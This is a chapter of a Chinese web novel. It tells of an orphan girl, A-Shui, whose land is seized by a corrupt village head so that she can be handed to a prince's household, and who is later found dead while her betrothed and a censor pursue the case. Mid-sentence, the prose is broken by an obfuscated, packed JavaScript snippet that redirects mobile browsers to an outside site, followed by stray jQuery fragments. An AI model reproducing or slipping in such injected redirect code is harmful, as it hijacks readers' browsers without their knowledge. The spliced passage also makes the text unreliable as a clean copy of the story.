13. 阿水

作品:《这官我不做了

    “女人?”


    卢子昂点点头,问她知不知道数月前,五皇子被人状告强抢民女凌虐致死的事。


    “我知道。”宋昭清沉默的点了点头,她记得。她后来去找了那女子的坟茔,实际上那也算不上什么坟,只是个小土堆。


    宋昭清心中有愧,总觉得其中有自己的原因才害得她死后不能清白。听人说,她本就是孤女,没有姓,邻居也只知道她叫阿水,宋昭清便给她的坟立了块木牌,常常祭拜。


    卢子昂给宋昭清讲了一个故事。


    距京城不远的梁水村里有个姑娘,叫阿水,父母双亡,是吃百家饭长大的。阿水是从南边逃荒来的,据他说父母在路上都被饿死了,把讨来的粮食都舍给了她,她这才能跑到梁平镇。村头有位王寡妇可怜她年纪小,便说要收养她给自己养老,阿水这就在梁平镇住了下来。


    此后阿水的人生才渐渐好了起来,有的吃有的穿,她很满足。十二岁那年她还和隔壁牛家的小子定了亲,只等成年后就结亲,但前年养她的王寡妇去世了,阿水有孝心,就说要为王寡妇守孝三年,等孝期结束再成婚。牛家对阿水这姑娘也满意,大家都在一个村子里住着,也不在乎多等这两年,反而对阿水时时关照。


    若没有五皇子的事情,今年七月阿水和牛大就要成家了。


    可惜,天不遂人愿。


    五皇子最是贪玩,他听说范越在梁水村置了一处田产,吵着闹着要来,说想去附近的山上打猎。范越怄不过外甥,只好带他来了。


    这次打猎,五皇子看上了阿水。阿水是南方姑娘,长相气质与京城附近的北方姑娘颇为不同,五皇子一下便被吸引住了,只是碍于自己皇子的身份,他不好直接开口。


    范越何等精明,一下就瞧出了五皇子的心思。他让手下人去打听阿水的身份,得到答案是寡妇养的难民后,便大手一挥让人把阿水带回来献给五皇子。


    范越没想到阿水一介女流竟有几分烈性,属下去了几次,任凭他们如何威逼利诱,阿水都不为所动。范越来了气,他早在五皇子面前夸下海口说要把人献给她,现在却连人都没抓到,成何体统。他知道阿水的底气是王寡妇留下的几亩薄田,于是他就让人找来里长,点明要收王寡妇的田。


    这里长可不是什么威武不能屈的人,被范越的人找上以后他二话不说就将阿水给卖了。


    隔日,他便带着人冲进了阿水家。


    阿水正在晒衣服,看见一大群男人突然冲进他家,警惕地往后退了退。她看向带头的里长,问:“里长,您这是什么意思?”


    “我什么意思?”里长往前走,大咧咧的走到正堂里坐下,从怀里掏出一沓田契。“这个意思。”


    “这是什么?”阿水皱眉,拿起里长手中的田契一张张翻看,越看越心惊,“这不是我家的田契吗?怎么会在你手里?”


    下一秒,阿水想到了什么,立马否认,“不对,这是假的。”她看向里长,质问:“你想干什么。”


    “什么真的假的。”里长笑了笑,想倒壶水喝,但找了半天没找到水壶作罢,“我说它是真的它就是真的,你说这是假的,证据呢?”


    “真的当然在我这里。”阿水本想将田契拿出来,但看向里长带来的几个五大三粗的青年,抑止住了自证的想法。“这田是我们家的,邻居们都可以作证。”


    里长啧啧两声,“阿水呀,不是叔想难为你。这田它就不是你的。”不等阿水反驳,他就接着说:“就连这房子也都不是你的。要说是那也是王婆子的,现在王婆子死了,她的田和房子自然归村里。我之前是可怜你,才破例让你继续种着田,可现在上头来查了,我也是没办法。”


    “可这是婆婆留给我的。”阿水想冲上前去撕了那几张假田契,但被人死死拦住。”


    “你说是王婆子留给你的?证据呢,王婆子无夫无子,她的田现在算是公产。”里长示意两个人去里间翻真正的田契,一旁的阿水见状冲上去就要拦,但还是抗不过两个青壮男子的力气。


    阿水见他们真的把田契给翻了出来,恨自己没有把东西藏得隐秘些,只能眼睁睁的看着他们拿走田契和自己攒的私房钱,一时间痛哭无泪,“你……你们这群强盗,就不怕我告到官府吗?”


    “你一个小女子找得到去官府的路吗?”里长检查了下田契,满意地点了点头,“你猜是谁让我来的呢?”


    拿到想要的东西,里长便准备离开,临了回头对阿水说道:“你和隔壁的牛大定亲了?要我说,干脆算了。不是有城里来的老爷看上你了吗,你这一没钱二没田地的孤女,有了这好去处还不紧紧抓着。”


    “人大老爷一句话能收了你的田,一句话也能收了牛家的田,你好好想想吧。”


    阿水瘫倒在地上,脑子嗡嗡的,今天的事,好似一记重锤打破了她精心编织的美梦。


    从吃了上顿没下顿的逃荒难民到有爱护她的养母、善待她的婆家,她本以为自己的生活已经变好了,可原来,可原来,终究是一场梦。


    阿水望向被翻得一团糟的卧房,心中只觉无助,她该怎么办呢?一个无权无势的孤女,她又能怎么办呢?


    不能连累牛家。


    阿水心中只剩下了这一个念头。她收拾好东西,将自己仅剩的几枚铜钱串好,连同牛大之前给他买的一枚簪子一起包好,悄悄地塞到了牛家门缝里。


    唯一庆幸的是,牛家这段时间去隔壁镇见出嫁的姑娘了,都不在家,不然阿水真不知道见了面该怎么说。


    她想留些话给牛大,但他们都不识字。


    想了想,阿水招来街头玩耍的幼童,托他给牛大带句话:“前几日有人拿着父母的信物来找,说是他们曾经为我定下了一桩娃娃亲,这辈子我最亏欠的就是父母,他们说的话我要听,是我对不起你,信物已还,勿念。”


    阿水离开了梁水村,但也没去找范家的人,她要去县里,报官。县令管不了,她就告到府里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630592|172535||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,府里管不了,她就上京。


    阿水没想到,她刚出梁水村就被人拦住了。那里长猜到阿水会离开,提前派了人在离村的必经之路上蹲守,阿水一时不察着了道,等再醒来时,已经被送到了范越的庄子里。


    再之后便是五皇子强上阿水,阿水不从,恼羞成怒的事。五皇子具体是如何对待阿水的,并没有什么人知道。


    阿水再次被人发现时,已经是后山一具腐烂的女尸。


    辖区内发现尸体是大案,县令当即命人彻查,但没两天便突然撤掉了查案的人,说是结案了。阿水一案本会就此封存,但还是被牛大给捅了出来。


    原来牛大在阿水离开后心灰意冷,他不信阿水会为了一个莫名其妙的誓言离开。里长去阿水家的事并没有刻意隐瞒,牛大稍一打听便清楚了原委,结合前段时间范家仆人来的事情,牛大一下子就猜到是范家干的。


    他几次去范家找人都被赶了出去,那天他刚被范家的人赶出去,路过县里正好听到有人在谈论前几天女尸的案子。牛大心里隐隐约约升起一丝不妙,他打听到女尸还在县衙里,便拿钱打点了下仵作,换来了进去一次的机会。


    牛大一进停尸房便认出了阿水。她被草席裹着躺在地上,脸瘦的近乎骇人,颧骨凸如刀棱。牛大轻轻地摊开草席,握住她的手。苍白的手冰得牛大心惊,腕骨细的仿佛一折就碎,他小心的捧着阿水的胳膊,上面还泛着紫色的淤青,低声恸哭。


    那仵作也有些不忍,但人死不能复生,他劝牛大放开些。“哎呦,小伙子,这真是你认识的人啊。你咋没早点来,县令这都结案了。”仵作拍了拍牛大的肩,小声说:“她这生前可遭了不少罪了,你回去可得多烧点纸。”


    牛大多谢了仵作的好意,拜托他处理尸体的时候知会自己一声,他想把尸体带回去安葬。


    仵作本着做好事得好报的原则答应了。


    但牛大并没有真的看开,他与阿水青梅竹马长大,他无法接受阿水就这样不明不白的死去。既然县衙不管,他就告到府衙去,府衙不管,他就告到京城。


    当时刚过二月,天气还冷着,牛大将尸体安置好,便启程去了府衙。这次,他运气还算不错,刚去府城恰好碰到了来这里巡查的卢子昂。


    卢子昂听说了阿水的事情,他当即便说要替卢子昂讨回公道。


    卢子昂写了弹劾的奏疏递上去,几次都石沉大海。直到三月末,原吏部右侍郎找到他,问他详细了解了事情的原委,并和他说这事就不用他管了。他对卢子昂说,这事想要引起皇上的注意,应当从五皇子处破局。再后来的事情,宋昭清便都知道了。


    五皇子并没有受到惩戒,整个事情到最后都不了了之了。


    卢子昂不死心,这件事情是他任御史以来遇到的第一桩大案,他决不能让这件事就这么草草结束。他暗中查探范越和五皇子的把柄数月,还真让他查到了些东西。


    破局的关键就在那位里长身上。